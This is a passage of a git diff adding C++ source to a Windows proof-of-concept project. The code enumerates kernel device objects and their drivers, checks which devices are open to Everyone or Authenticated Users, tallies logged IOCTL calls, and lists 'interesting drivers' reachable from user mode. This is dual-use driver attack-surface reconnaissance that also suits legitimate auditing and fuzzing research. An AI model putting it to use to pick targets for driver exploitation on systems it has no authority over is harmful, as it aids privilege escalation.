(PREQUEST_BUFFER)Buff; + ZeroMemory(&Buff, sizeof(Buff)); + + if (pDriverObject) + { + *pDriverObject = NULL; + } + + if (pDeviceObject) + { + *pDeviceObject = NULL; + } + + if (lpszDriverObjectName) + { + ZeroMemory(lpszDriverObjectName, MAX_REQUEST_STRING); + } + + if (lpszDriverFilePath) + { + ZeroMemory(lpszDriverFilePath, MAX_REQUEST_STRING); + } + + strncpy(Request->Buff, lpszDeviceName, MAX_PATH - 1); + Request->Code = C_GET_DEVICE_INFO; + + if (DrvDeviceRequest(Request, sizeof(Buff)) && + Request->Status == S_SUCCESS) + { + if (pDriverObject) + { + *pDriverObject = Request->DeviceInfo.DriverObjectAddr; + } + + if (pDeviceObject) + { + *pDeviceObject = Request->DeviceInfo.DeviceObjectAddr; + } + + if (lpszDriverObjectName) + { + strcpy(lpszDriverObjectName, Request->DeviceInfo.szDriverObjectName); + } + + if (lpszDriverFilePath) + { + strcpy(lpszDriverFilePath, Request->DeviceInfo.szDriverFilePath); + } + + return TRUE; + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +BOOL PrintObjectPermissions(HANDLE hObject, SE_OBJECT_TYPE ObjectType) +{ + PACL pDacl = NULL; + + // get security information for the object + DWORD Code = GetSecurityInfo( + hObject, + ObjectType, + DACL_SECURITY_INFORMATION, + NULL, NULL, + &pDacl, + NULL, NULL + ); + if (Code != ERROR_SUCCESS) + { + return FALSE; + } + + DWORD dwAceIndex = 0; + PVOID pAce = NULL; + + // enumerate ACEs in ACL + while (pDacl && GetAce(pDacl, dwAceIndex, &pAce)) + { + PACE_HEADER pAceHeader = (PACE_HEADER)pAce; + PSID pSid = NULL; + ACCESS_MASK AccessMask = 0; + + dwAceIndex += 1; + + if (pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE) + { + PACCESS_ALLOWED_ACE pAllowAce = (PACCESS_ALLOWED_ACE)pAce; + pSid = (PSID)&pAllowAce->SidStart; + AccessMask = pAllowAce->Mask; + } + else if (pAceHeader->AceType == ACCESS_DENIED_ACE_TYPE) + { + PACCESS_DENIED_ACE pDenyAce = (PACCESS_DENIED_ACE)pAce; + pSid = (PSID)&pDenyAce->SidStart; + AccessMask = pDenyAce->Mask; + } + else + { + // other type of the ACE + continue; + } + + char szName[MAX_PATH], szReferencedDomainName[MAX_PATH]; + DWORD dwNameSize = MAX_PATH, dwReferencedDomainNameSize = MAX_PATH; + SID_NAME_USE NameUse; + + // query account name by SID + if (LookupAccountSidA( + NULL, + pSid, + szName, &dwNameSize, + szReferencedDomainName, &dwReferencedDomainNameSize, + &NameUse)) + { + DbgMsg( + __FILE__, __LINE__, + "%8s: 0x%.8x %s\\%s\n", + pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE ? "ALLOW" : "DENY", + AccessMask, szReferencedDomainName, szName + ); + } + else + { + char *pSidStr = NULL; + if (ConvertSidToStringSidA(pSid, &pSidStr)) + { + DbgMsg( + __FILE__, __LINE__, + "%8s: 0x%.8x %s\n", + pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE ? "ALLOW" : "DENY", + AccessMask, pSidStr + ); + + LocalFree(pSidStr); + } + } + } + + return TRUE; +} +//-------------------------------------------------------------------------------------- +BOOL GetDesiredPermissions(HANDLE hObject, SE_OBJECT_TYPE ObjectType, PDWORD pdwEveryone, PDWORD pdwAuthenticated) +{ + PACL pDacl = NULL; + + // get security information for the object + DWORD Code = GetSecurityInfo( + hObject, + ObjectType, + DACL_SECURITY_INFORMATION, + NULL, NULL, + &pDacl, + NULL, NULL + ); + if (Code != ERROR_SUCCESS) + { + return FALSE; + } + + DWORD SidSize = SECURITY_MAX_SID_SIZE; + PSID pEveryone = (PSID)M_ALLOC(SidSize); + if (pEveryone == NULL) + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", Code); + return FALSE; + } + + PSID pAuthenticated = (PSID)M_ALLOC(SidSize); + if (pAuthenticated == NULL) + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", Code); + M_FREE(pEveryone); + return FALSE; + } + + // Create a SID for the Everyone group on the local computer. + if (!CreateWellKnownSid(WinWorldSid, NULL, pEveryone, &SidSize)) + { + DbgMsg(__FILE__, __LINE__, "CreateWellKnownSid() ERROR %d\n", Code); + M_FREE(pEveryone); + M_FREE(pAuthenticated); + return FALSE; + } + + // Create a SID for the any authenticated users group on the local computer. + if (!CreateWellKnownSid(WinAuthenticatedUserSid, NULL, pAuthenticated, &SidSize)) + { + DbgMsg(__FILE__, __LINE__, "CreateWellKnownSid() ERROR %d\n", Code); + M_FREE(pEveryone); + M_FREE(pAuthenticated); + return FALSE; + } + + DWORD dwAceIndex = 0; + PVOID pAce = NULL; + + // enumerate ACEs in ACL + while (pDacl && GetAce(pDacl, dwAceIndex, &pAce)) + { + PACE_HEADER pAceHeader = (PACE_HEADER)pAce; + PSID pSid = NULL; + ACCESS_MASK AccessMask = 0; + + dwAceIndex += 1; + + if (pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE) + { + PACCESS_ALLOWED_ACE pAllowAce = (PACCESS_ALLOWED_ACE)pAce; + pSid = (PSID)&pAllowAce->SidStart; + AccessMask = pAllowAce->Mask; + } + else if (pAceHeader->AceType == ACCESS_DENIED_ACE_TYPE) + { + PACCESS_DENIED_ACE pDenyAce = (PACCESS_DENIED_ACE)pAce; + pSid = (PSID)&pDenyAce->SidStart; + AccessMask = pDenyAce->Mask; + } + else + { + // other type of the ACE + continue; + } + + if (pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE) + { + if (EqualSid(pSid, pEveryone)) + { + *pdwEveryone = AccessMask; + } + else if (EqualSid(pSid, pAuthenticated)) + { + *pdwAuthenticated = AccessMask; + } + } + } + + M_FREE(pEveryone); + M_FREE(pAuthenticated); + + return TRUE; +} +//-------------------------------------------------------------------------------------- +DWORD ParseIoctlsLog(char *lpszIoctlsLogPath) +{ + DWORD dwRet = 0; + + m_DeviceCallsCount.clear(); + m_DriverCallsCount.clear(); + + DbgMsg(__FILE__, __LINE__, "Parsing global IOCLs log \"%s\"...\n", lpszIoctlsLogPath); + + HANDLE hFile = CreateFileA(lpszIoctlsLogPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) + { + DbgMsg(__FILE__, __LINE__, "CreateFile() ERROR %d\n", GetLastError()); + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Error while opening log file \"%s\"\n", lpszIoctlsLogPath); + return 0; + } + + struct + { + std::string Timestamp; + std::string Device; + std::string Driver; + + } IoctlInfo = { "", "", "" }; + + #define READBUFF_SIZE 0x1000 + char szBuff[READBUFF_SIZE]; + DWORD dwReaded = 0; + + LARGE_INTEGER FileSize; + FileSize.LowPart = GetFileSize(hFile, (LPDWORD)&FileSize.HighPart); + + while (ReadFile(hFile, szBuff, READBUFF_SIZE, &dwReaded, NULL) && dwReaded > 0) + { + char *lpszLine = szBuff; + LARGE_INTEGER Position, Processed; + Position.QuadPart = Processed.QuadPart = 0; + Position.LowPart = SetFilePointer(hFile, 0, &Position.HighPart, FILE_CURRENT); + + for (size_t i = 0; i < dwReaded - 1; i++) + { + if (szBuff[i] == '\r' && szBuff[i + 1] == '\n') + { + // process single line + szBuff[i] = '\0'; + + #define M_TIMESTAMP "timestamp=" + #define M_DEVICE "device=" + #define M_DRIVER "driver=" + + try + { + if (!strncmp(lpszLine, M_TIMESTAMP, strlen(M_TIMESTAMP))) + { + // request timestamp field + IoctlInfo.Timestamp = std::string(lpszLine + strlen(M_TIMESTAMP)); + } + else if (!strncmp(lpszLine, M_DEVICE, strlen(M_DEVICE))) + { + // device object name + IoctlInfo.Device = std::string(lpszLine + strlen(M_DEVICE)); + } + else if (!strncmp(lpszLine, M_DRIVER, strlen(M_DRIVER))) + { + // driver object name + IoctlInfo.Driver = std::string(lpszLine + strlen(M_DRIVER)); + } + + if (IoctlInfo.Timestamp.length() > 0 && + IoctlInfo.Device.length() > 0 && + IoctlInfo.Driver.length() > 0) + { + // collect call statistics for device + if (m_DeviceCallsCount.find(IoctlInfo.Device) == m_DeviceCallsCount.end()) + { + m_DeviceCallsCount[IoctlInfo.Device] = 1; + } + else + { + m_DeviceCallsCount[IoctlInfo.Device] += 1; + } + + // collect call statistics for driver + if (m_DriverCallsCount.find(IoctlInfo.Driver) == m_DriverCallsCount.end()) + { + m_DriverCallsCount[IoctlInfo.Driver] = 1; + } + else + { + m_DriverCallsCount[IoctlInfo.Driver] += 1; + } + + IoctlInfo.Timestamp = ""; + IoctlInfo.Device = ""; + IoctlInfo.Driver = ""; + + dwRet += 1; + } + } + catch (...) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Exception occurs\n"); + + m_DeviceCallsCount.clear(); + m_DriverCallsCount.clear(); + + dwRet = 0; + + goto end; + } + + Processed.QuadPart = Position.QuadPart - dwReaded + i + 2; + lpszLine = szBuff + i + 2; + } + } + + if (Position.QuadPart >= FileSize.QuadPart) + { + // end of the file + break; + } + + if (Processed.QuadPart > 0) + { + SetFilePointer(hFile, Processed.LowPart, &Processed.HighPart, FILE_BEGIN); + } + } + + DbgMsg(__FILE__, __LINE__, "[+] %d entries readed\n", dwRet); + +end: + CloseHandle(hFile); + + return dwRet; +} +//-------------------------------------------------------------------------------------- +void PrintDeviceObjectsInfo(char *lpszIoctlsLogPath) +{ + // required for enumerating file handles + LoadPrivileges(SE_DEBUG_NAME); + + if (lpszIoctlsLogPath) + { + ParseIoctlsLog(lpszIoctlsLogPath); + } + + // collect information about opened device handles + CollectFileHandles(); + + try + { + DWORD dwProcessedDrivers = 0, dwProcessedDevices = 0; + std::map InterestingDrivers; + DRVINFO_LIST::iterator e_drv; + + // enumerate drivers + for (e_drv = m_DriversInfo.begin(); e_drv != m_DriversInfo.end(); ++e_drv) + { + DWORD dwCallsCount = 0; + DRVINFO_ENTRY *DrvInfo = &e_drv->second; + + DrvInfo->first.Company = std::string(""); + DrvInfo->first.Descr = std::string(""); + + if (m_DriverCallsCount.find(DrvInfo->first.ObjectName) != m_DriverCallsCount.end()) + { + // IOCTLs statistic by calls count for this driver is available + dwCallsCount = m_DriverCallsCount[DrvInfo->first.ObjectName]; + } + else + { + dwCallsCount = 0; + } + + if (lpszIoctlsLogPath) + { + // print calls count statistic from parsed log + DbgMsg( + __FILE__, __LINE__, "DRIVER: "IFMT" \"%s\" %d total calls\n", + DrvInfo->first.Object, DrvInfo->first.ObjectName.c_str(), dwCallsCount + ); + } + else + { + DbgMsg( + __FILE__, __LINE__, "DRIVER: "IFMT" \"%s\"\n", + DrvInfo->first.Object, DrvInfo->first.ObjectName.c_str() + ); + } + + if (strlen(DrvInfo->first.FilePath.c_str()) > 0) + { + char *lpszPath = GetNormalizedDriverFilePath((char *)DrvInfo->first.FilePath.c_str()); + if (lpszPath) + { + char *lpszDescr = NULL, *lpszCompany = NULL; + + DrvInfo->first.FilePath = std::string(lpszPath); + + // query file description and vendor name from resources + GetDescrAndCompanyInfo(lpszPath, &lpszDescr, &lpszCompany); + + WORD c = ccol(CCOL_YELLOW); + + if (lpszDescr) + { + DbgMsg(__FILE__, __LINE__, "Description: \"%s\"\n", lpszDescr); + DrvInfo->first.Descr = std::string(lpszDescr); + M_FREE(lpszDescr); + } + + if (lpszCompany) + { + DbgMsg(__FILE__, __LINE__, "Company: \"%s\"\n", lpszCompany); + DrvInfo->first.Company = std::string(lpszCompany); + M_FREE(lpszCompany); + } + + ccol(c); + + DbgMsg(__FILE__, __LINE__, "File path: \"%s\"\n", lpszPath); + M_FREE(lpszPath); + } + } + + // enumerate devices for this driver + DEVINFO_LIST::iterator e_dev; + for (e_dev = DrvInfo->second.begin(); e_dev != DrvInfo->second.end(); ++e_dev) + { + PDEVINFO DevInfo = &e_dev->second; + char *lpszAccess = ""; + WORD c = 0; + + if (m_DeviceCallsCount.find(DevInfo->ObjectName) != m_DeviceCallsCount.end()) + { + // IOCTLSs statistic by calls count for this device is available + dwCallsCount = m_DeviceCallsCount[DevInfo->ObjectName]; + } + else + { + dwCallsCount = 0; + } + + switch (DevInfo->Access) + { + case DevAccessOpenError: + + lpszAccess = "Open Error"; + c = CCOL_RED; + break; + + case DevAccessEveryone: + + lpszAccess = "Everyone"; + c = CCOL_GREEN; + break; + + case DevAccessAuthenticated: + + lpszAccess = "Authenticated"; + break; + + case DevAccessRestricted: + + lpszAccess = "Restricted"; + break; + } + + if (c != 0) + { + c = ccol(c); + } + + if (lpszIoctlsLogPath) + { + // print calls count statistic from parsed log + DbgMsg( + __FILE__, __LINE__, " * "IFMT" \"%s\" Access: %s, %d calls\n", + DevInfo->Object, DevInfo->ObjectName.c_str(), lpszAccess, dwCallsCount + ); + } + else + { + DbgMsg( + __FILE__, __LINE__, " * "IFMT" \"%s\" Access: %s\n", + DevInfo->Object, DevInfo->ObjectName.c_str(), lpszAccess + ); + } + + if (c != 0) + { + ccol(c); + } + + std::string ObjectName = DevInfo->ObjectName.c_str(); + if (m_OpenedInfo.find(ObjectName) != m_OpenedInfo.end()) + { + DbgMsg(__FILE__, __LINE__, " Opened by:\n"); + + // enumerate processes, that uses this device + std::list::iterator e_pr = m_OpenedInfo[ObjectName].begin(); + + while (e_pr != m_OpenedInfo[ObjectName].end()) + { + DbgMsg( + __FILE__, __LINE__, " %.5d \"%s\"\n", + e_pr->ProcessId, e_pr->ProcessName.c_str() + ); + + ++e_pr; + } + } + + if (DevInfo->Access == DevAccessEveryone && + strlen(DrvInfo->first.FilePath.c_str()) > 0) + { + InterestingDrivers[DrvInfo->first.Object] = DrvInfo->first; + } + + dwProcessedDevices += 1; + } + + dwProcessedDrivers += 1; + + DbgMsg(__FILE__, __LINE__, "\n"); + } + + DbgMsg( + __FILE__, __LINE__, "[+] %d devices in %d drivers displayed\n", + dwProcessedDevices, dwProcessedDrivers + ); + + if (InterestingDrivers.size() > 0) + { + DbgMsg(__FILE__, __LINE__, "[+] Interesting drivers:\n\n"); + DbgMsg(__FILE__, __LINE__, "\n"); + + // enumerate drivers, that have devices accessible from user mode + std::map::iterator e_drv; + for (e_drv = InterestingDrivers.begin(); e_drv != InterestingDrivers.end(); ++e_drv) + { + DbgMsg(__FILE__, __LINE__, "%s\n", e_drv->second.FilePath.c_str()); + + WORD c = ccol(CCOL_YELLOW); + + DbgMsg( + __FILE__, __LINE__, "\"%s\", \"%s\"\n", + e_drv->second.Company.c_str(), e_drv->second.Descr.c_str() + ); + + ccol(c); + + DbgMsg(__FILE__, __LINE__, "\n"); + } + + DbgMsg(__FILE__, __LINE__, "\n"); + } + } + catch (...) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Exception occurs\n"); + } +} +//-------------------------------------------------------------------------------------- +#ifndef DIRECTORY_QUERY +#define DIRECTORY_QUERY 0x0001 +#endif + +#ifndef SYMBOLIC_LINK_QUERY +#define SYMBOLIC_LINK_QUERY 0x0001 +#endif + +void CollectDeviceObjectsInfo(LPWSTR lpRoot) +{ + UNICODE_STRING usDirName; + OBJECT_ATTRIBUTES ObjAttr; + HANDLE hDir = NULL; + + if (!wcscmp(lpRoot, L"//")) + { + m_DriversInfo.clear(); + } + + UNICODE_FROM_WCHAR(&usDirName, lpRoot); + InitializeObjectAttributes(&ObjAttr, &usDirName, OBJ_CASE_INSENSITIVE, NULL, NULL); + + GET_NATIVE(NtOpenDirectoryObject); + GET_NATIVE(NtQueryDirectoryObject); + GET_NATIVE(NtOpenSymbolicLinkObject); + GET_NATIVE(NtQuerySymbolicLinkObject); + + // target open objects directory + NTSTATUS ns = f_NtOpenDirectoryObject( + &hDir, + DIRECTORY_QUERY, + &ObjAttr + ); + if (NT_SUCCESS(ns)) + { + ULONG ResultLen = 0, Context = 0; + PDIRECTORY_BASIC_INFORMATION DirInfo = NULL; + +enum_obj: + + ResultLen = 0; + DirInfo = NULL; + + // get required buffer size + ns = f_NtQueryDirectoryObject( + hDir, + &DirInfo, + ResultLen, + TRUE, + FALSE, + &Context, + &ResultLen + ); + if ((ns == STATUS_BUFFER_TOO_SMALL || ns == STATUS_BUFFER_OVERFLOW) && ResultLen > 0) + { + // allocate memory for information + if (DirInfo = (PDIRECTORY_BASIC_INFORMATION)M_ALLOC(ResultLen)) + { + ZeroMemory(DirInfo, ResultLen); + + // query directory entry information + ns = f_NtQueryDirectoryObject( + hDir, + DirInfo, + ResultLen, + TRUE, + FALSE, + &Context, + NULL + ); + if (NT_SUCCESS(ns)) + { + // allocate memory for strings + DWORD dwNameLen = DirInfo->ObjectName.Length; + dwNameLen += ((DWORD)wcslen(usDirName.Buffer) + 2) * sizeof(WCHAR); + + PWSTR lpwcName = (PWSTR)M_ALLOC(dwNameLen); + if (lpwcName) + { + ZeroMemory(lpwcName, dwNameLen); + wcscpy(lpwcName, usDirName.Buffer); + + if (lpwcName[wcslen(lpwcName) - 1] != L'\\') + { + wcscat(lpwcName, L"\\"); + } + + memcpy( + lpwcName + wcslen(lpwcName), + DirInfo->ObjectName.Buffer, + DirInfo->ObjectName.Length + ); + + DWORD dwTypeNameLen = DirInfo->ObjectTypeName.Length + sizeof(WCHAR); + PWSTR lpwcTypeName = (PWSTR)M_ALLOC(dwTypeNameLen); + if (lpwcTypeName) + { + ZeroMemory(lpwcTypeName, dwTypeNameLen); + memcpy(lpwcTypeName, DirInfo->ObjectTypeName.Buffer, dwTypeNameLen - sizeof(WCHAR)); + + PVOID DriverObject = NULL, DeviceObject = NULL; + char szDriverObjectName[MAX_REQUEST_STRING], szDeviceObjectName[MAX_PATH]; + char szDriverFilePath[MAX_REQUEST_STRING]; + + ZeroMemory(szDeviceObjectName, sizeof(szDeviceObjectName)); + WideCharToMultiByte(CP_ACP, 0, lpwcName, -1, szDeviceObjectName, MAX_PATH - 1, NULL, NULL); + + // process devices + if (!wcscmp(lpwcTypeName, L"Device") && wcscmp(GetNameFromFullPathW(lpwcName), DEVICE_NAME) && + GetDeviceInfo(szDeviceObjectName, + &DriverObject, &DeviceObject, + szDriverObjectName, szDriverFilePath)) + { + DEVINFO DevInfo; + DEVINFO_LIST *DevInfoList = NULL; + + try + { + // insert driver object info into the global list + DRVINFO_LIST::iterator e = m_DriversInfo.find(DriverObject); + if (e == m_DriversInfo.end()) + { + DRVINFO_ENTRY DrvInfo; + + DrvInfo.first.Object = DriverObject; + DrvInfo.first.ObjectName = std::string(szDriverObjectName); + DrvInfo.first.FilePath = std::string(szDriverFilePath); + + m_DriversInfo[DriverObject] = DrvInfo; + DevInfoList = &m_DriversInfo[DriverObject].second; + } + else + { + // driver is allready in list + DevInfoList = &e->second.second; + } + + DevInfo.Access = DevAccessOpenError; + DevInfo.Object = DeviceObject; + DevInfo.ObjectName = std::string(szDeviceObjectName); + } + catch (...) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Exception occurs\n"); + goto skip_device; + } + + GET_NATIVE(NtOpenFile); + + IO_STATUS_BLOCK StatusBlock; + OBJECT_ATTRIBUTES ObjAttr; + UNICODE_STRING usName; + HANDLE hDevice = NULL; + + UNICODE_FROM_WCHAR(&usName, lpwcName); + InitializeObjectAttributes(&ObjAttr, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL); + + // try to open device + ns = f_NtOpenFile( + &hDevice, + GENERIC_READ | GENERIC_WRITE | ACCESS_SYSTEM_SECURITY, + &ObjAttr, + &StatusBlock, + FILE_SHARE_READ | FILE_SHARE_WRITE, + 0 + ); + if (NT_SUCCESS(ns)) + { + DWORD dwEveryone = 0, dwAuthenticated = 0; + + // query security permissions for device + if (GetDesiredPermissions( + hDevice, SE_FILE_OBJECT, + &dwEveryone, &dwAuthenticated) && + (dwEveryone != 0 || dwAuthenticated != 0)) + { + if (dwEveryone & READ_CONTROL) + { + DevInfo.Access = DevAccessEveryone; + } + else if (dwAuthenticated & READ_CONTROL) + { + DevInfo.Access = DevAccessAuthenticated; + } + } + else + { + DevInfo.Access = DevAccessRestricted; + } + + CloseHandle(hDevice); + } + + try + { + (*DevInfoList)[DeviceObject] = DevInfo; + } + catch (...) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Exception occurs\n"); + } + } + else if (!wcscmp(lpwcTypeName, L"Directory")) + { + // recursive scanning of the next level directory + CollectDeviceObjectsInfo(lpwcName); + } +skip_device: + M_FREE(lpwcTypeName); + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + M_FREE(lpwcName); + M_FREE(DirInfo); + goto end; + } + + M_FREE(lpwcName); + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + M_FREE(DirInfo); + goto end; + } + } + else + { + DbgMsg(__FILE__, __LINE__, "NtQueryDirectoryObject() fails; status: 0x%.8x\n", ns); + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Error while requesting device objects info\n"); + + M_FREE(DirInfo); + goto end; + } + + M_FREE(DirInfo); + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + goto end; + } + + goto enum_obj; + } + +end: + CloseHandle(hDir); + } + else + { + DbgMsg(__FILE__, __LINE__, "NtOpenDirectoryObject() fails; status: 0x%.8x\n", ns); + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Error while opening directory \"%ws\"\n", lpRoot); + } +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.h new file mode 100644 index 00000000..796df723 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.h @@ -0,0 +1,3 @@ + +void CollectDeviceObjectsInfo(LPWSTR lpRoot); +void PrintDeviceObjectsInfo(char *lpszIoctlsLogPath); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/binres.rc b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/binres.rc new file mode 100644 index 00000000..fd40910d --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/binres.rc @@ -0,0 +1,4 @@ + + + + diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.cpp new file mode 100644 index 00000000..0f866ef5 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.cpp @@ -0,0 +1,253 @@ +#include "stdafx.h" +//-------------------------------------------------------------------------------------- +BOOL LoadPrivileges(char *lpszName) +{ + HANDLE hToken = NULL; + LUID Val; + TOKEN_PRIVILEGES tp; + BOOL bRet = FALSE; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) + { + DbgMsg(__FILE__, __LINE__, "OpenProcessToken() fails: error %d\n", GetLastError()); + goto end; + } + + if (!LookupPrivilegeValue(NULL, lpszName, &Val)) + { + DbgMsg(__FILE__, __LINE__, "LookupPrivilegeValue() fails: error %d\n", GetLastError()); + goto end; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = Val; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL)) + { + DbgMsg(__FILE__, __LINE__, "AdjustTokenPrivileges() fails: error %d\n", GetLastError()); + goto end; + } + + bRet = TRUE; + +end: + if (hToken) + CloseHandle(hToken); + + return bRet; +} +//-------------------------------------------------------------------------------------- +BOOL DumpToFile(char *lpszFileName, PVOID pData, ULONG DataSize) +{ + HANDLE hFile = CreateFileA(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if (hFile != INVALID_HANDLE_VALUE) + { + DWORD dwWritten; + WriteFile(hFile, pData, DataSize, &dwWritten, NULL); + + CloseHandle(hFile); + + return TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "Error %d while creating '%s'\n", GetLastError(), lpszFileName); + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +BOOL ReadFromFile(LPCTSTR lpszFileName, PVOID *pData, PDWORD lpdwDataSize) +{ + BOOL bRet = FALSE; + HANDLE hFile = CreateFile( + lpszFileName, + GENERIC_READ, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + if (hFile != INVALID_HANDLE_VALUE) + { + if (pData == NULL || lpdwDataSize == NULL) + { + // just check for existing file + bRet = TRUE; + goto close; + } + + *lpdwDataSize = GetFileSize(hFile, NULL); + if (*pData = LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, *lpdwDataSize)) + { + DWORD dwReaded = 0; + ReadFile(hFile, *pData, *lpdwDataSize, &dwReaded, NULL); + + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "LocalAlloc() ERROR %d\n", GetLastError()); + *lpdwDataSize = 0; + } + +close: + CloseHandle(hFile); + } + else + { + DbgMsg(__FILE__, __LINE__, "Error %d while reading '%s'\n", GetLastError(), lpszFileName); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +char *GetNameFromFullPath(char *lpszPath) +{ + char *lpszName = lpszPath; + + for (size_t i = 0; i < strlen(lpszPath); i++) + { + if (lpszPath[i] == '\\' || lpszPath[i] == '/') + { + lpszName = lpszPath + i + 1; + } + } + + return lpszName; +} +//-------------------------------------------------------------------------------------- +wchar_t *GetNameFromFullPathW(wchar_t *lpwcPath) +{ + wchar_t *lpwcName = lpwcPath; + + for (size_t i = 0; i < wcslen(lpwcPath); i++) + { + if (lpwcPath[i] == L'\\' || lpwcPath[i] == L'/') + { + lpwcName = lpwcPath + i + 1; + } + } + + return lpwcName; +} +//-------------------------------------------------------------------------------------- +BOOL IsFileExists(char *lpszFileName) +{ + BOOL bRet = FALSE; + WIN32_FIND_DATA FindData; + + // enumerate files + HANDLE hDir = FindFirstFileA(lpszFileName, &FindData); + if (hDir != INVALID_HANDLE_VALUE) + { + bRet = TRUE; + FindClose(hDir); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +PVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass) +{ + NTSTATUS ns = 0; + ULONG RetSize = 0, Size = 0x100; + PVOID Info = NULL; + + GET_NATIVE(NtQuerySystemInformation); + + while (true) + { + // allocate memory for system information + if ((Info = M_ALLOC(Size)) == NULL) + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + return NULL; + } + + // query information + RetSize = 0; + ns = f_NtQuerySystemInformation(InfoClass, Info, Size, &RetSize); + if (ns == STATUS_INFO_LENGTH_MISMATCH) + { + // buffer is too small + M_FREE(Info); + Info = NULL; + + if (RetSize > 0) + { + // allocate more memory and try again + Size = RetSize + 0x100; + } + else + { + break; + } + } + else + { + break; + } + } + + if (!NT_SUCCESS(ns)) + { + DbgMsg(__FILE__, __LINE__, "NtQuerySystemInformation() fails; status: 0x%.8x\n", ns); + + if (Info) + { + M_FREE(Info); + } + + return NULL; + } + + return Info; +} +//-------------------------------------------------------------------------------------- +BOOL GetProcessNameById(DWORD dwProcessId, char *lpszName, size_t NameLen) +{ + BOOL bRet = FALSE; + + // enumerate processes + HANDLE hSnapProcs = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapProcs != INVALID_HANDLE_VALUE) + { + PROCESSENTRY32 Process = { 0 }; + Process.dwSize = sizeof(PROCESSENTRY32); + + if (Process32First(hSnapProcs, &Process)) + { + do + { + // match process id + if (Process.th32ProcessID == dwProcessId) + { + strlwr(Process.szExeFile); + lstrcpy(lpszName, Process.szExeFile); + + bRet = TRUE; + + break; + } + } + while (Process32Next(hSnapProcs, &Process)); + } + else + { + DbgMsg(__FILE__, __LINE__, "Process32First() ERROR %d\n", GetLastError()); + } + + CloseHandle(hSnapProcs); + } + else + { + DbgMsg(__FILE__, __LINE__, "CreateToolhelp32Snapshot() ERROR %d\n", GetLastError()); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.h new file mode 100644 index 00000000..eeac1b8a --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.h @@ -0,0 +1,54 @@ + +#define RVATOVA(_base_, _offset_) ((PUCHAR)(_base_) + (ULONG)(_offset_)) + +#define XALIGN_DOWN(x, align)(x &~ (align - 1)) +#define XALIGN_UP(x, align)((x & (align - 1)) ? XALIGN_DOWN(x, align) + align : x) + +#define M_ALLOC(_size_) LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, (ULONG)(_size_)) +#define M_FREE(_addr_) LocalFree((_addr_)) + +#define GET_NATIVE(_name_) \ + \ + func_##_name_ 